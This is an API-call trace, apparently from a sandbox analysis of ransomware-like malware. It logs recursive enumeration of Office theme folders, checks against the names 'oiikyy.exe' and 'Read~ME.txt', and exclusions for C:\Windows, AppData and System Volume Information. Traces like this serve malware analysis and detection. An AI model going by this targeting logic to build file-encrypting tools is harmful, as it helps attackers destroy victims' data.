	[0078.390] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x59544a90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d489150, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0078.390] lstrcmpiW (lpString1="..", lpString2="Windows") returned -1
	[0078.390] lstrcmpW (lpString1="..", lpString2=".") returned 1
	[0078.390] lstrcmpW (lpString1="..", lpString2="..") returned 0
	[0078.390] lstrcmpW (lpString1="..", lpString2="oiikyy.exe") returned -1
	[0078.390] StrStrW (lpFirst="..", lpSrch=".~~~~") returned 0x0
	[0078.390] lstrcmpW (lpString1="..", lpString2="Read~ME.txt") returned -1
	[0078.390] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x107bd500, ftCreationTime.dwHighDateTime=0x1cab7f2, ftLastAccessTime.dwLowDateTime=0x59544a90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x107bd500, ftLastWriteTime.dwHighDateTime=0x1cab7f2, nFileSizeHigh=0x0, nFileSizeLow=0xc649, dwReserved0=0x0, dwReserved1=0x0, cFileName="NETWORK.ELM", cAlternateFileName="")) returned 1
	[0078.390] lstrcmpiW (lpString1="NETWORK.ELM", lpString2="Windows") returned -1
	[0078.390] lstrcmpW (lpString1="NETWORK.ELM", lpString2="oiikyy.exe") returned -1
	[0078.390] StrStrW (lpFirst="NETWORK.ELM", lpSrch=".~~~~") returned 0x0
	[0078.390] lstrcmpW (lpString1="NETWORK.ELM", lpString2="Read~ME.txt") returned -1
	[0078.390] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x27f3938
	[0078.390] GetCurrentThreadId () returned 0x618
	[0078.391] RtlWakeConditionVariable () returned 0x365f48
	[0078.391] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6a3bce50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x249, dwReserved0=0x0, dwReserved1=0x0, cFileName="NETWORK.INF", cAlternateFileName="")) returned 1
	[0078.391] lstrcmpiW (lpString1="NETWORK.INF", lpString2="Windows") returned -1
	[0078.391] lstrcmpW (lpString1="NETWORK.INF", lpString2="oiikyy.exe") returned -1
	[0078.391] StrStrW (lpFirst="NETWORK.INF", lpSrch=".~~~~") returned 0x0
	[0078.391] lstrcmpW (lpString1="NETWORK.INF", lpString2="Read~ME.txt") returned -1
	[0078.391] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x27f3938
	[0078.391] GetCurrentThreadId () returned 0x618
	[0078.391] RtlWakeConditionVariable () returned 0x365f48
	[0078.391] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5a6f8e30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x554, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1
	[0078.391] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2="Windows") returned -1
	[0078.391] lstrcmpW (lpString1="PREVIEW.GIF", lpString2="oiikyy.exe") returned 1
	[0078.391] StrStrW (lpFirst="PREVIEW.GIF", lpSrch=".~~~~") returned 0x0
	[0078.391] lstrcmpW (lpString1="PREVIEW.GIF", lpString2="Read~ME.txt") returned -1
	[0078.391] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x27f3938
	[0078.391] GetCurrentThreadId () returned 0x618
	[0078.391] RtlWakeConditionVariable () returned 0x365f48
	[0078.391] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x2d35, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1
	[0078.391] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2="Windows") returned -1
	[0078.391] lstrcmpW (lpString1="THMBNAIL.PNG", lpString2="oiikyy.exe") returned 1
	[0078.392] StrStrW (lpFirst="THMBNAIL.PNG", lpSrch=".~~~~") returned 0x0
	[0078.392] lstrcmpW (lpString1="THMBNAIL.PNG", lpString2="Read~ME.txt") returned 1
	[0078.392] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x3a5018
	[0078.392] GetCurrentThreadId () returned 0x618
	[0078.392] RtlWakeConditionVariable () returned 0x365f48
	[0078.392] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x2d35, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0
	[0078.392] FindClose (in: hFindFile=0x37a888 | out: hFindFile=0x37a888) returned 1
	[0078.392] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x27f3938
	[0078.392] GetCurrentThreadId () returned 0x618
	[0078.392] RtlWakeConditionVariable () returned 0x365f48
	[0078.392] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x59c68c90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d489150, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PAPYRUS", cAlternateFileName="")) returned 1
	[0078.392] lstrcmpiW (lpString1="PAPYRUS", lpString2="Windows") returned -1
	[0078.392] lstrcmpW (lpString1="PAPYRUS", lpString2=".") returned 1
	[0078.392] lstrcmpW (lpString1="PAPYRUS", lpString2="..") returned 1
	[0078.392] lstrcmpW (lpString1="PAPYRUS", lpString2="AppData") returned 1
	[0078.392] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS", lpSrch="AppData") returned 0x0
	[0078.392] lstrlenW (lpString="C:\\Windows") returned 10
	[0078.393] lstrcmpiW (lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS", lpString2="C:\\Windows") returned -1
	[0078.393] lstrlenW (lpString="C:\\System Volume Information") returned 28
	[0078.393] lstrcmpiW (lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS", lpString2="C:\\System Volume Information") returned -1
	[0078.393] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xfffe) returned 0x3d26e8
	[0078.393] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\*", lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x59c68c90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d489150, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x37a888
	[0078.409] lstrcmpiW (lpString1=".", lpString2="Windows") returned -1
	[0078.409] lstrcmpW (lpString1=".", lpString2=".") returned 0
	[0078.409] lstrcmpW (lpString1=".", lpString2="oiikyy.exe") returned -1
	[0078.409] StrStrW (lpFirst=".", lpSrch=".~~~~") returned 0x0
	[0078.409] lstrcmpW (lpString1=".", lpString2="Read~ME.txt") returned -1
	[0078.409] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x59c68c90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d489150, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0078.409] lstrcmpiW (lpString1="..", lpString2="Windows") returned -1
	[0078.409] lstrcmpW (lpString1="..", lpString2=".") returned 1
	[0078.409] lstrcmpW (lpString1="..", lpString2="..") returned 0
	[0078.409] lstrcmpW (lpString1="..", lpString2="oiikyy.exe") returned -1
	[0078.409] StrStrW (lpFirst="..", lpSrch=".~~~~") returned 0x0
	[0078.409] lstrcmpW (lpString1="..", lpString2="Read~ME.txt") returned -1
	[0078.409] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x140f5c00, ftCreationTime.dwHighDateTime=0x1cab7f2, ftLastAccessTime.dwLowDateTime=0x59c68c90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x140f5c00, ftLastWriteTime.dwHighDateTime=0x1cab7f2, nFileSizeHigh=0x0, nFileSizeLow=0x166d5, dwReserved0=0x0, dwReserved1=0x0, cFileName="PAPYRUS.ELM", cAlternateFileName="")) returned 1
	[0078.409] lstrcmpiW (lpString1="PAPYRUS.ELM", lpString2="Windows") returned -1
	[0078.409] lstrcmpW (lpString1="PAPYRUS.ELM", lpString2="oiikyy.exe") returned 1
	[0078.409] StrStrW (lpFirst="PAPYRUS.ELM", lpSrch=".~~~~") returned 0x0
	[0078.410] lstrcmpW (lpString1="PAPYRUS.ELM", lpString2="Read~ME.txt") returned -1
	[0078.410] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x27f3d28
	[0078.410] GetCurrentThreadId () returned 0x618
	[0078.410] RtlWakeConditionVariable () returned 0x365f48
	[0078.410] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6cd64f50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x1f4, dwReserved0=0x0, dwReserved1=0x0, cFileName="PAPYRUS.INF", cAlternateFileName="")) returned 1
	[0078.410] lstrcmpiW (lpString1="PAPYRUS.INF", lpString2="Windows") returned -1
	[0078.410] lstrcmpW (lpString1="PAPYRUS.INF", lpString2="oiikyy.exe") returned 1
	[0078.410] StrStrW (lpFirst="PAPYRUS.INF", lpSrch=".~~~~") returned 0x0
	[0078.410] lstrcmpW (lpString1="PAPYRUS.INF", lpString2="Read~ME.txt") returned -1
	[0078.410] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x27f3d28
	[0078.410] GetCurrentThreadId () returned 0x618
	[0078.410] RtlWakeConditionVariable () returned 0x365f48
	[0078.410] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5a6f8e30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0xa0e, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1
	[0078.410] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2="Windows") returned -1
	[0078.410] lstrcmpW (lpString1="PREVIEW.GIF", lpString2="oiikyy.exe") returned 1
	[0078.410] StrStrW (lpFirst="PREVIEW.GIF", lpSrch=".~~~~") returned 0x0
	[0078.410] lstrcmpW (lpString1="PREVIEW.GIF", lpString2="Read~ME.txt") returned -1
	[0078.410] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x27f3d28
	[0078.410] GetCurrentThreadId () returned 0x618
	[0078.410] RtlWakeConditionVariable () returned 0x365f48
	[0078.410] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x9240, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1
	[0078.410] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2="Windows") returned -1
	[0078.411] lstrcmpW (lpString1="THMBNAIL.PNG", lpString2="oiikyy.exe") returned 1
	[0078.411] StrStrW (lpFirst="THMBNAIL.PNG", lpSrch=".~~~~") returned 0x0
	[0078.411] lstrcmpW (lpString1="THMBNAIL.PNG", lpString2="Read~ME.txt") returned 1
	[0078.411] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x3a5018
	[0078.411] GetCurrentThreadId () returned 0x618
	[0078.411] RtlWakeConditionVariable () returned 0x365f48
	[0078.411] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x9240, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0
	[0078.411] FindClose (in: hFindFile=0x37a888 | out: hFindFile=0x37a888) returned 1
	[0078.411] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x27f3d28
	[0078.411] GetCurrentThreadId () returned 0x618
	[0078.411] RtlWakeConditionVariable () returned 0x365f48
	[0078.411] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a44b570, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d05ead0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PIXEL", cAlternateFileName="")) returned 1
	[0078.411] lstrcmpiW (lpString1="PIXEL", lpString2="Windows") returned -1
	[0078.411] lstrcmpW (lpString1="PIXEL", lpString2=".") returned 1
	[0078.411] lstrcmpW (lpString1="PIXEL", lpString2="..") returned 1
	[0078.411] lstrcmpW (lpString1="PIXEL", lpString2="AppData") returned 1
	[0078.411] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL", lpSrch="AppData") returned 0x0
	[0078.411] lstrlenW (lpString="C:\\Windows") returned 10
	[0078.411] lstrcmpiW (lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL", lpString2="C:\\Windows") returned -1
	[0078.411] lstrlenW (lpString="C:\\System Volume Information") returned 28
	[0078.412] lstrcmpiW (lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL", lpString2="C:\\System Volume Information") returned -1
	[0078.412] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xfffe) returned 0x3d26e8
	[0078.412] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\*", lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a44b570, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d05ead0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x37a888
	[0078.412] lstrcmpiW (lpString1=".", lpString2="Windows") returned -1
	[0078.412] lstrcmpW (lpString1=".", lpString2=".") returned 0
	[0078.412] lstrcmpW (lpString1=".", lpString2="oiikyy.exe") returned -1
	[0078.412] StrStrW (lpFirst=".", lpSrch=".~~~~") returned 0x0
	[0078.412] lstrcmpW (lpString1=".", lpString2="Read~ME.txt") returned -1
	[0078.412] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a44b570, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d05ead0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0078.412] lstrcmpiW (lpString1="..", lpString2="Windows") returned -1
	[0078.412] lstrcmpW (lpString1="..", lpString2=".") returned 1
	[0078.412] lstrcmpW (lpString1="..", lpString2="..") returned 0
	[0078.412] lstrcmpW (lpString1="..", lpString2="oiikyy.exe") returned -1
	[0078.412] StrStrW (lpFirst="..", lpSrch=".~~~~") returned 0x0
	[0078.412] lstrcmpW (lpString1="..", lpString2="Read~ME.txt") returned -1
	[0078.413] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x17a2e300, ftCreationTime.dwHighDateTime=0x1cab7f2, ftLastAccessTime.dwLowDateTime=0x6cf07e70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x17a2e300, ftLastWriteTime.dwHighDateTime=0x1cab7f2, nFileSizeHigh=0x0, nFileSizeLow=0xd0e5, dwReserved0=0x0, dwReserved1=0x0, cFileName="PIXEL.ELM", cAlternateFileName="")) returned 1
	[0078.413] lstrcmpiW (lpString1="PIXEL.ELM", lpString2="Windows") returned -1
	[0078.413] lstrcmpW (lpString1="PIXEL.ELM", lpString2="oiikyy.exe") returned 1
	[0078.413] StrStrW (lpFirst="PIXEL.ELM", lpSrch=".~~~~") returned 0x0
	[0078.413] lstrcmpW (lpString1="PIXEL.ELM", lpString2="Read~ME.txt") returned -1
	[0078.413] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x27f3d28
	[0078.413] GetCurrentThreadId () returned 0x618
	[0078.413] RtlWakeConditionVariable () returned 0x365f48
	[0078.413] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5a44b570, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x21b, dwReserved0=0x0, dwReserved1=0x0, cFileName="PIXEL.INF", cAlternateFileName="")) returned 1
	[0078.413] lstrcmpiW (lpString1="PIXEL.INF", lpString2="Windows") returned -1
	[0078.413] lstrcmpW (lpString1="PIXEL.INF", lpString2="oiikyy.exe") returned 1
	[0078.413] StrStrW (lpFirst="PIXEL.INF", lpSrch=".~~~~") returned 0x0
	[0078.413] lstrcmpW (lpString1="PIXEL.INF", lpString2="Read~ME.txt") returned -1
	[0078.413] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x27f3d28
	[0078.413] GetCurrentThreadId () returned 0x618
	[0078.413] RtlWakeConditionVariable () returned 0x365f48
	[0078.413] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x639, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1
	[0078.413] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2="Windows") returned -1
	[0078.413] lstrcmpW (lpString1="PREVIEW.GIF", lpString2="oiikyy.exe") returned 1
	[0078.413] StrStrW (lpFirst="PREVIEW.GIF", lpSrch=".~~~~") returned 0x0
	[0078.413] lstrcmpW (lpString1="PREVIEW.GIF", lpString2="Read~ME.txt") returned -1
	[0078.413] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x27f3d28
	[0078.413] GetCurrentThreadId () returned 0x618
	[0078.413] RtlWakeConditionVariable () returned 0x365f48
	[0078.413] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad387f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x54f1, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1
	[0078.414] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2="Windows") returned -1
	[0078.414] lstrcmpW (lpString1="THMBNAIL.PNG", lpString2="oiikyy.exe") returned 1
	[0078.414] StrStrW (lpFirst="THMBNAIL.PNG", lpSrch=".~~~~") returned 0x0
	[0078.414] lstrcmpW (lpString1="THMBNAIL.PNG", lpString2="Read~ME.txt") returned 1
	[0078.414] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x27f3d28
	[0078.414] GetCurrentThreadId () returned 0x618
	[0078.414] RtlWakeConditionVariable () returned 0x365f48
	[0078.414] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad387f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x54f1, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0
	[0078.414] FindClose (in: hFindFile=0x37a888 | out: hFindFile=0x37a888) returned 1
	[0078.414] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x27f3d28
	[0078.414] GetCurrentThreadId () returned 0x618
	[0078.414] RtlWakeConditionVariable () returned 0x365f48
	[0078.414] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a6f8e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d084c30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d084c30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PROFILE", cAlternateFileName="")) returned 1
	[0078.414] lstrcmpiW (lpString1="PROFILE", lpString2="Windows") returned -1
	[0078.414] lstrcmpW (lpString1="PROFILE", lpString2=".") returned 1
	[0078.414] lstrcmpW (lpString1="PROFILE", lpString2="..") returned 1
	[0078.414] lstrcmpW (lpString1="PROFILE", lpString2="AppData") returned 1
	[0078.414] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE", lpSrch="AppData") returned 0x0
	[0078.414] lstrlenW (lpString="C:\\Windows") returned 10
	[0078.415] lstrcmpiW (lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE", lpString2="C:\\Windows") returned -1
	[0078.415] lstrlenW (lpString="C:\\System Volume Information") returned 28
	[0078.415] lstrcmpiW (lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE", lpString2="C:\\System Volume Information") returned -1
	[0078.415] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xfffe) returned 0x3d26e8
	[0078.415] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\*", lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a6f8e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d084c30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d084c30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x37a888
	[0078.482] lstrcmpiW (lpString1=".", lpString2="Windows") returned -1
	[0078.482] lstrcmpW (lpString1=".", lpString2=".") returned 0
	[0078.482] lstrcmpW (lpString1=".", lpString2="oiikyy.exe") returned -1
	[0078.482] StrStrW (lpFirst=".", lpSrch=".~~~~") returned 0x0
	[0078.482] lstrcmpW (lpString1=".", lpString2="Read~ME.txt") returned -1
	[0078.482] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a6f8e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d084c30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d084c30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0078.482] lstrcmpiW (lpString1="..", lpString2="Windows") returned -1
